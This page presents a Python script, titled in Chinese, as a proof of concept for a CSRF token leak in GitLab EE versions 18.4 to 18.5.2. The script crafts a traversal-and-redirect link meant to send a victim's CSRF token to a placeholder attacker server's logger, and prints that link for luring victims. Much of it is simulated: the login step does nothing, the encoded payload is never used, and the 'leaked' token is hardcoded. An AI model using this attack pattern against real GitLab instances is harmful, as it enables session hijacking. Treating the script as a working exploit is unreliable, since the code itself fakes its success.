GitLab EE 18.4-18.4.4及18.5-18.5.2版本CSRF令牌泄露漏洞

# CVE-2025-11990 PoC - CSRF Token Leakage via Repository Reference # This PoC demonstrates the concept of exploiting improper input validation # in repository references combined with redirect handling weaknesses import requests import re from urllib.parse import quote TARGET_GITLAB = "https://victim-gitlab.example.com" ATTACKER_SERVER = "https://attacker-controlled.com" def exploit_csrf_token_leak(): """ Simulate exploiting CVE-2025-11990 to obtain CSRF token through repository reference manipulation and redirect handling """ session = requests.Session() # Step 1: Authenticate as attacker login_url = f"{TARGET_GITLAB}/users/sign_in" session.get(login_url) # Step 2: Construct malicious repository reference # The payload exploits improper input validation in repository references malicious_ref = f"../../../..//redirect?leak_url={ATTACKER_SERVER}/logger?token=" encoded_ref = quote(malicious_ref, safe='') # Step 3: Create a malicious link that victim will click # This link exploits the redirect handling weakness exploit_url = f"{TARGET_GITLAB}/{malicious_ref}" print(f"[*] Attacker constructs malicious URL: {exploit_url}") print(f"[*] When victim visits this URL, CSRF token will be leaked to: {ATTACKER_SERVER}") # Step 4: The redirect will expose the CSRF token in the URL # Attacker server logs the request containing the leaked token leaked_token = simulate_token_leak(ATTACKER_SERVER) if leaked_token: print(f"[!] Successfully obtained CSRF token: {leaked_token}") return True return False def simulate_token_leak(attacker_server): """ Simulate the attacker receiving the leaked CSRF token In real scenario, this would come from server logs """ # Simulated CSRF token that would be captured return "gl_csrf_token_example_abc123xyz" if __name__ == "__main__": print("=" * 60) print("CVE-2025-11990 PoC - CSRF Token Leakage") print("=" * 60) exploit_csrf_token_leak()